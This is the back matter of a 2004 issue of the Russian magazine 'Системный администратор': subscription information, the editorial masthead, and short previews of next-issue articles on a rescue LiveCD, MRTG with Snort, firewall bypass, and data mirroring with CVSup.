Каталог агентства «Роспечать» Подписной индекс: 87836 Объединенный каталог «Пресса России» Адресный каталог «Подписка за рабочим столом» Адресный каталог «Библиотечный каталог» Альтернативные подписные агентства: Агентство «Интер-Почта» (095) 500-00-60, курьерская доставка по Москве Агентство «Вся Пресса» (095) 787-34-47 Агентство «Курьер-Прессервис» Подписка On-line http://www.arzy.ru http://www.gazety.ru http://www.presscafe.ru
! Узбекистан – по каталогу «Davriy nashrlar» российские
! !
!
!
СНГ В странах СНГ подписка принимается в почтовых отделениях по национальным каталогам или по списку номенклатуры АРЗИ: ! Казахстан – по каталогу «Российская Пресса» через ОАО «Казпочта» и ЗАО «Евразия пресс» ! Беларусь – по каталогу изданий стран СНГ через РГО «Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)
!
издания через агентство по распространению печати «Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик, 5/3, офис 33) Азербайджан – по объединенному каталогу российских изданий через предприятие по распространению печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21) Армения – по списку номенклатуры «АРЗИ» через ГЗАО «Армпечать» (375005, г.Ереван, пл.Сасунци Давида, д.2) и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул.Сарьяна, 22) Грузия – по списку номенклатуры «АРЗИ» через АО «Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская, 29 ) и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахурдия, 42) Молдавия – по каталогу через ГП «Пошта Молдавей» (МД-2012, г.Кишинев, бул.Штефан чел Маре, 134) по списку через ГУП «Почта Приднестровья» (МD-3300, г.Тирасполь, ул.Ленина, 17) по прайслисту через ООО Агентство «Editil Periodice» (2012, г.Кишинев, бул. Штефан чел Маре, 134) Подписка для Украины: Киевский главпочтамп Подписное агентство «KSS» Телефон/факс (044)464-0220
Подписные индексы:
81655 по каталогу агентства «Роспечать»
87836 по каталогу агентства «Пресса России»
№4(17), апрель 2004
95
СИСТЕМНЫЙ АДМИНИСТРАТОР №4(17), Апрель, 2004 год РЕДАКЦИЯ Исполнительный директор Владимир Положевец Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин Редактор Андрей Бешков Научно-технические консультанты Дмитрий Горяинов Валерий Цуканов Владимир Мешков РЕКЛАМНАЯ СЛУЖБА тел./факс: (095) 928-8253 Константин Меделян reсlama@samag.ru Верстка и оформление imposer@samag.ru maker_up@samag.ru Дизайн обложки Николай Петрочук 103045, г. Москва, Ананьевский переулок, дом 4/2 стр. 1 тел./факс: (095) 928-8253 Е-mail: info@samag.ru Internet: www.samag.ru РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ГП «Московская Типография №13» Тираж 7000 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены. Редакция оставляет за собой право изменять содержание следующих номеров.
96
ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: INSERT – Inside Security Rescue Toolkit Бешеная популярность GNU/Linux не в последнюю очередь обусловлена наличием большого количества узконаправленных дистрибутивов, адаптированных для выполнения определенных узконаправленных задач. Наиболее популярны среди них firewalls, позволяющие настроить доступ в Интернет, в том числе и не подготовленному пользователю. Также в последнее время становятся популярными дистрибутивы, предназначенные для анализа сетевой безопасности удаленных и локальных вычислительных систем и сетей, в основном в виде LiveCD-дистрибутивов, позволяющих проделать все необходимые операции без установки системы на жесткий диск. Причем некоторые разработки могут прийтись по вкусу и закоренелым пользователям Windows систем, т.к. могут оказаться тем единственным подручным средством, при помощи которого можно спасти свои данные. Об одном таком дистрибутиве и пойдет речь далее. INSERT – Inside Security Rescue Toolkit так называется LiveCD-дистрибутив, от Inside Security IT Consulting GmbH, предназначенный в первую очередь для решения задач по спасению данных и также для сетевого анализа.
MRTG и snort «Лучше один раз увидеть, чем сто раз услышать», – гласит пословица. Многие вещи в большинстве своём мы лучше воспринимаем, когда видим их. Не всякая графическая информация нами воспринимается одинаково хорошо. Выдать данные наглядно – это целое искусство, (спрятать данные – тоже искусство). Несомненно, информация об атаках может быть отображена по-разному. В этой статье будет рассказано, как настроить на совместную работу MRTG – средство визуализации происходящего и систему обнаружения атак Snort.
Побег через брандмауэр плюс терминализация всей NT В настоящей статье рассматриваются различные способы обхода брандмауэров с целью организации на атакуемом компьютере удаленного терминального shell, работающего под операционными системами UNIX и Windows 9x/NT. Здесь вы найдете передовые хакерские методики, свободно проникающие через любой, абсолютно любой брандмауэр независимо от его архитектуры, степени защищенности и конфигурации, а также свободно распространяемый пакет демонстрационных утилит, предназначенный для тестирования вашего брандмаузера на предмет его защищенности (или же отсутствие таковой). Статья ориентирована на специалистов по информационной безопасности и системных администраторов, знакомых с языком Си и имеющих опыт работы с Berkley-сокетами.
Зеркалирование информации В этой статье будет рассказано о создании простой и удобной системы зеркалирования информации с помощью пакета CVSup – пакета программ для передачи и обновления файлов через сеть. Трудно переоценить ту пользу, которую приносят нам резервные копии, заботливо нами же и сделанные. Сколько нервов и времени не было благодаря им потрачено впустую… Процесс зеркалирования хоть и схож по смыслу, но все же несколько отличается от классического резервного копирования информации. Более того, зеркалирование в полной мере не сможет его заменить. А зачем же тогда его использовать зеркалирование, если оно не заменит процесс стандартного бэкапа? Рассмотрим на небольшом примере.